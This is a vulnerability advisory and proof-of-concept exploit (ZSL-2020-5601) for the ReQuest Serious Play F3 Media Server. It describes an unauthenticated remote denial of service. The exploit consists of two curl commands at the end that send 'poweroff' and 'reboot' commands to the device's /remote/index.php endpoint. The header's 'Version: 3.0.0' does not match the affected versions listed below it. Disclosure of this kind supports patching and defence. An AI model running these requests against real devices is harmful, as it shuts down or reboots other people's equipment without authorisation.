ReQuest Serious Play F3 Media Server 7.0.3 - Remote Denial of Service

# Exploit Title: ReQuest Serious Play F3 Media Server 7.0.3 - Remote Denial of Service
# Exploit Author: LiquidWorm
# Software Link: http://request.com/
# Version: 3.0.0



Vendor: ReQuest Serious Play LLC
Product web page: http://www.request.com
Affected version: 7.0.3.4968 (Pro)
                  7.0.2.4954
                  6.5.2.4954
                  6.4.2.4681
                  6.3.2.4203
                  2.0.1.823

Summary: F3 packs all the power of ReQuest's multi-zone serious Play servers
into a compact powerhouse. With the ability to add unlimited NAS devices, the
F3 can handle your entire family's media collection with ease.

Desc: The device can be shutdown or rebooted by an unauthenticated attacker
when issuing one HTTP GET request.

Tested on: ReQuest Serious Play® OS v7.0.1
           ReQuest Serious Play® OS v6.0.0
           Debian GNU/Linux 5.0
           Linux 3.2.0-4-686-pae
           Linux 2.6.36-request+lenny.5
           Apache/2.2.22
           Apache/2.2.9
           PHP/5.4.45
           PHP/5.2.6-1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2020-5601
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5601.php


01.08.2020

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$ curl http://192.168.1.17:3664/remote/index.php?cmd=poweroff
$ curl http://192.168.1.17:3664/remote/index.php?cmd=reboot